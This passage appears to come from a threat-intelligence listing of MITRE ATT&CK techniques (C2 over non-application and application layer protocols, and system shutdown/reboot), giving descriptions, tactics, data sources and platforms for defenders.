Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre